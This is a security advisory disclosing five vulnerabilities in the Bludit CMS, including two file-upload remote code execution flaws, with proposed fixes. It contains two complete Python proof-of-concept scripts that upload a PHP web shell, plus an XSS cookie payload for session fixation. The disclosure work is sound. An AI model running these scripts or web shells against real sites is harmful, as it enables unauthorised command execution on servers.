Jun 20, 2024 von Andreas Pfefferle
In order to prepare for the OffSec Web Expert (OSWE) certification exam, I searched for open source web applications that I can analyze in a white box approach. I stumbled upon Bludit, an open source content management system for building websites and blogs. After a few hours of testing, I found five security vulnerabilities, including two remote code execution flaws. This advisory briefly explains the vulnerabilities and proposes possible fixes and mitigations.
It should be noted that at the time of publication of this advisory, the security vulnerabilities had not yet been addressed by the Bludit development team. Redguard initiated a Coordinated Vulnerability Disclosure in January 2024, which the maintainers of Bludit have not responded to.
The following security vulnerabilities have been identified in Bludit:
A security vulnerability in Bludit allows attackers with knowledge of the API token to upload arbitrary files through the File API which leads to arbitrary code execution on the server. This vulnerability arises from improper handling of file uploads, enabling malicious actors to upload and execute PHP files.
CVSS v4.0 Score: 8.9 (HIGH)
Attackers with knowledge of the API token can exploit the Bludit Files API, which includes a seemingly undocumented file upload feature, to upload arbitrary files. The respective file upload API request seems to be undocumented as it is not mentioned in the official Bludit API documentation (as of 2024-06-15).
The file upload API does not perform any form of file type checking (neither file extension nor MIME type are checked), which allows any user with knowledge of the API token to upload, for instance, PHP files. The uploaded files are stored in a file directory under the web root, making them accessible to any site visitor, including unauthenticated users. This means that if authenticated attackers were able to upload a PHP web shell to the server, even unauthenticated users could run commands on the server by using the web shell.
The affected code was committed to the Git repository about 4 years ago.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
private function uploadFile($pageKey)
{
if (!isset($_FILES['file'])) {
return array(
'status'=>'1',
'message'=>'File not sent.'
);
}
if ($_FILES['file']['error'] != 0) {
return array(
'status'=>'1',
'message'=>'Error uploading the file.'
);
}
$filename = $_FILES['file']['name'];
$absoluteURL = DOMAIN_UPLOADS_PAGES.$pageKey.DS.$filename;
$absolutePath = PATH_UPLOADS_PAGES.$pageKey.DS.$filename;
if (Filesystem::mv($_FILES['file']['tmp_name'], $absolutePath)) {
return array(
'status'=>'0',
'message'=>'File uploaded.',
'filename'=>$filename,
'absolutePath'=>$absolutePath,
'absoluteURL'=>$absoluteURL
);
}
return array(
'status'=>'1',
'message'=>'Error moving the file to the final path.'
);
}
As can be seen in the code snippet above, the uploaded file is written to the web root without any prior sanitization.
To exploit this vulnerability, several preconditions must be met. First, the Bludit administrator must have enabled the API, as it is disabled by default. Additionally, the attacker needs to possess knowledge of the API token. However, it is important to note that authentication is not necessary to access the file upload directory.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import argparse
import requests
def get_page_uuid(target, token):
url = f"{target}/api/pages?token={token}"
response = requests.get(url, headers={'Connection': 'close'})
if response.status_code == 200:
data = response.json()
if 'data' in data and data['data']:
# Take the first element from the 'data' array
first_element = data['data'][0]
if 'uuid' in first_element:
return first_element['uuid']
return None
def upload_file(target, api_token, file_name, file_content, uuid):
boundary = "BOUNDARY_STRING"
headers = {
"Content-Type": f"multipart/form-data; boundary={boundary}",
"Connection": "close",
}
data = f"""--{boundary}
Content-Disposition: form-data; name="token"
{api_token}
--{boundary}
Content-Disposition: form-data; name="file"; filename="{file_name}"
Content-Type: text/plain
{file_content}
--{boundary}--"""
url = f"{target}/api/files/{uuid}"
response = requests.post(
url,
headers=headers,
data=data
)
if response.status_code == 200:
data = response.json()
if 'message' in data and data['message'] == "File uploaded.":
print(f"{target}/bl-content/uploads/pages/{uuid}/{file_name}?cmd=id")
else:
print("Error: Unexpected response from the server.")
print(response.text)
else:
print("Error: Unexpected response from the server.")
print(response.text)
def main():
parser = argparse.ArgumentParser(description="Generate and send a POST request.")
parser.add_argument("--target", required=True, help="Target URL (e.g., http://localhost:8000)")
parser.add_argument("--api-token", required=True, help="API token")
args = parser.parse_args()
uuid = get_page_uuid(args.target, args.api_token)
file_name = "shell.php"
file_content = "<?php system($_GET['cmd']); ?>"
upload_file(args.target, args.api_token, file_name, file_content, uuid)
if __name__ == "__main__":
main()
All Bludit versions since 3.14.0 (released on 2022-09-05), including the most recent version 3.15.0 (as of 2024-06-15) are affected.
1
2
3
4
5
6
7
8
9
10
11
location /upload_folder {
# Disable PHP execution
location ~ \.php$ {
deny all;
}
# Allow other file types
location /upload_folder/ {
# Additional configurations for other file types if necessary
}
}
A security vulnerability in Bludit allows authenticated attackers to execute arbitrary code through the Image API. This vulnerability arises from improper handling of file uploads, enabling malicious actors to upload and execute PHP files.
CVSS v4.0 Score: 8.9 (HIGH)
Authenticated attackers can exploit the Bludit Image API, which includes an image upload feature, to upload arbitrary files. While the API performs some upload checks (e.g., validating file extensions against a predefined set of common image file types), uploaded files are stored in a temporary directory within the web root. In cases where the file extension is not allowed, the files are not deleted from the temporary file directory, making them accessible to any site visitor, including unauthenticated users. This means that if authenticated attackers were able to upload a PHP web shell to the server, even unauthenticated users could run commands on the server by using the web shell.
The affected code was committed to the Git repository about 5 years ago. Our comments in the code snippet below explain how the vulnerability arises.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private function uploadImage($inputs)
{
[---SNIP---]
// Move from PHP tmp file to Bludit tmp directory
Filesystem::mv($_FILES['image']['tmp_name'], PATH_TMP.$_FILES['image']['name']);
// transformImage function checks if file extesion is allowed. If it is allowed, the file is moved (not just copied) to the intended image directory
$image = transformImage(PATH_TMP.$_FILES['image']['name'], $imageDirectory, $thumbnailDirectory);
[---SNIP---]
// The transformImage function is defined in bl-kernel/functions.php
function transformImage($file, $imageDir, $thumbnailDir = false)
{
[---SNIP---]
// If the file extension is not allowed, tranformImage simply returns "false" without deleting the file from the temporary directory
if (!in_array($fileExtension, $GLOBALS['ALLOWED_IMG_EXTENSION'])) {
return false;
}
In case the uploaded file is a PHP file, unauthenticated visitors can access it under e.g. http://<target>/bl-content/tmp/shell.php
To exploit this vulnerability, several preconditions must be met. First, the Bludit administrator must have enabled the API, as it is disabled by default. Additionally, the attacker needs to possess knowledge of the API token. However, it is important to note that authentication is not necessary to access the file upload directory.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import argparse
import requests
def upload_image(target, api_token, user_token, file_name, file_content):
boundary = "BOUNDARY_STRING"
headers = {
"Content-Type": f"multipart/form-data; boundary={boundary}",
"Connection": "close",
}
data = f"""--{boundary}
Content-Disposition: form-data; name="token"
{api_token}
--{boundary}
Content-Disposition: form-data; name="authentication"
{user_token}
--{boundary}
Content-Disposition: form-data; name="uuid"
test
--{boundary}
Content-Disposition: form-data; name="image"; filename="{file_name}"
Content-Type: image/gif
{file_content}
--{boundary}--"""
url = f"{target}/api/images"
response = requests.post(
url,
headers=headers,
data=data
)
if response.status_code == 200 and response.text.strip() == '{"status":"1","message":"Image extension not allowed."}':
file_name = "shell.php"
print(f"{target}/bl-content/tmp/{file_name}?cmd=id")
else:
print("Error: Unexpected response from the server.")
print(response.text)
def main():
parser = argparse.ArgumentParser(description="Generate and send a POST request.")
parser.add_argument("--target", required=True, help="Target URL (e.g., http://localhost:8000)")
parser.add_argument("--api-token", required=True, help="API token")
parser.add_argument("--user-token", required=True, help="User authentication token")
args = parser.parse_args()
file_name = "shell.php"
file_content = "<?php system($_GET['cmd']); ?>"
upload_image(args.target, args.api_token, args.user_token, file_name, file_content)
if __name__ == "__main__":
main()
All Bludit versions since 3.9.0 beta 1 (released on 2019-05-18), including the most recent version 3.15.0 (as of 2024-06-15) are affected.
bl-kernel/ajax/profile-picture-upload.php
. This code is similar, but different to the API image upload code. For instance, the AJAX code for image uploads includes MIME type validation to provide an additional layer of security. It is advised to consolidate the code into a single location for easier maintenance and ensuring that it is consistent across different parts of the application.A session fixation vulnerability in Bludit allows an attacker to bypass the server’s authentication if they can trick an administrator or any other user into authorizing a session ID of their choosing.
CVSS v4.0 Score: 5.6 (MEDIUM)
When users visit the admin login page under /admin/
, the session cookie BLUDIT-KEY=[...]; path=/
is set. This session cookie is not changed after signing in which means that the same value is used for privileged authenticated sessions. An attacker could perform an attack against an admin (or any other user with a Bludit account) as follows:
<script>document.cookie="BLUDIT-KEY=[...]";</script>
) to fix the session ID. Multiple XSS vulnerabilities have been identified in Bludit in previous years./admin/
.To exploit this vulnerability, certain preconditions must be fulfilled. Firstly, the attacker needs a method to set the session cookie at least once. Additionally, the victim must login once the session cookie was fixed by the attacker.
Most likely, all versions since the initial release of Bludit are affected from this vulnerability, including the most recent version 3.15.0 (as of 2024-06-15).
Please refer to the OWASP Session Management Cheatsheet, in which solutions for session fixation are presented:
The session ID must be renewed or regenerated by the web application after any privilege level change within the associated user session. The most common scenario where the session ID regeneration is mandatory is during the authentication process, as the privilege level of the user changes from the unauthenticated (or anonymous) state to the authenticated state though in some cases still not yet the authorized state. Common scenarios to consider include; password changes, permission changes, or switching from a regular user role to an administrator role within the web application. For all sensitive pages of the web application, any previous session IDs must be ignored, only the current session ID must be assigned to every new request received for the protected resource, and the old or previous session ID must be destroyed.
Bludit uses the SHA-1 hashing algorithm to compute password hashes. Thus, attackers could determine cleartext passwords with brute-force attacks due to the inherent speed of SHA-1. In addition, the salt that is computed by Bludit is generated with a non-cryptographically secure function.
CVSS v4.0 Score: 5.9 (MEDIUM)
The primary concern lies in the inherent speed of SHA-1, which makes it computationally efficient. Password hashing algorithms should be intentionally slow to increase the overhead for brute-force attacks, but SHA-1’s efficiency undermines this crucial security principle. Additionally, Bludit utilizes a non-cryptographically secure method to generate password salts (rand
), further exacerbating the security risk associated with user passwords.
The combination of SHA-1 and a non-cryptographically secure method for generating password salts weakens the overall security of user passwords.
The affected code was committed to the Git repository about 7 years ago.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public function generatePasswordHash($password, $salt)
{
return sha1($password.$salt);
}
[...]
public static function randomText($length)
{
$characteres = "1234567890abcdefghijklmnopqrstuvwxyz!@#%^&*";
$text = '';
for($i=0; $i<$length; $i++) {
$text .= $characteres[rand(0,41)];
}
return $text;
}
[...]
public function generateSalt()
{
return Text::randomText(SALT_LENGTH);
}
[...]
define('SALT_LENGTH', 8);
[...]
$row['salt'] = $this->generateSalt();
$row['password'] = $this->generatePasswordHash($password, $row['salt']);
All Bludit versions since 2.0 (released on 2017-10-16) are affected from this vulnerability, including the most recent version 3.15.0 (as of 2024-06-15). It should be noted, however, that previous versions of Bludit used similar weak password hashing methods.
To address this vulnerability, it is imperative that the Bludit development team transitions to a more secure and intentionally slow hashing algorithm, such as bcrypt or Argon2, for password storage. These algorithms introduce the necessary computational overhead to resist brute-force attacks effectively. In addition, it is advised that appropriate cost factors are used.
Furthermore, the generation of password salts should be revamped to employ a cryptographically secure method. The current approach, utilizing the Text::randomText function
, should be replaced with a robust random number generator provided by the operating system or a dedicated cryptographic library. This change ensures the creation of unpredictable and secure salts, enhancing the overall resilience of the password storage mechanism.
Bludit uses predictable methods in combination with the MD5 hashing algorithm to generate sensitive tokens such as the API token and the user token. This allows attackers to authenticate against the Bludit API.
CVSS v4.0 Score: 6.0 (MEDIUM)
Bludit relies on non-cryptographically secure methods to generate sensitive tokens. For instance, the API token, which is used in all requests against the Bludit API, is computed by taking the MD5 hash of the concatenated output of uniqid()
, time()
, and the website’s domain. The affected code was committed to the Git repository about 7 years ago.
1
2
3
4
5
public function init()
{
// Generate the API Token
$token = md5( uniqid().time().DOMAIN );
[...]
According to the PHP documentation, uniqid()
is a function that “does not generate cryptographically secure values, and must not be used for cryptographic purposes, or purposes that require returned values to be unguessable.” Apparently, the returned value is “based on the current time in microseconds.”
Although the combination with time()
and the website’s domain makes exploiting this weakness more difficult at least to some degree, an attacker with enough resources is able to brute-force API tokens from feasible time ranges. This should be seen in context of previous Bludit vulnerabilities related to insufficient brute-force protection (e.g. CVE-2019-17240).
A similar problem is related to generating “Auth Tokens” which are required in a few API requests as additional parameters.
1
2
3
4
5
6
public function generateAuthToken()
{
return md5( uniqid().time().DOMAIN );
}
[...]
It should be noted that the Bludit administrator must have enabled the API, as it is disabled by default.
All Bludit versions since 2.0 (released on 2017-10-16) are affected from this vulnerability, including the most recent version 3.15.0 (as of 2024-06-15).
Generating secure API and user auth tokens in PHP involves creating unique and cryptographically secure strings that can be used as tokens for authentication purposes. The following code snippet is a basic example of how to generate secure API tokens in PHP:
1
2
3
4
function generateApiToken($length = 32) {
$token = bin2hex(random_bytes($length));
return $token;
}
Redguard is a Swiss-based information security company. We assist our clients with technical security testing as well as organizational security audits and consulting. This enables us to have a team with extensive experience in a wide variety of security relevant topics.
This document is not meant to be a complete list of security issues for any of the mentioned software and/or versions. It is possible, and indeed likely, that there are further security issues that are yet to be identified. The information in the advisory is believed to be accurate at the time of publishing, based on currently available information.
Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties regarding this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.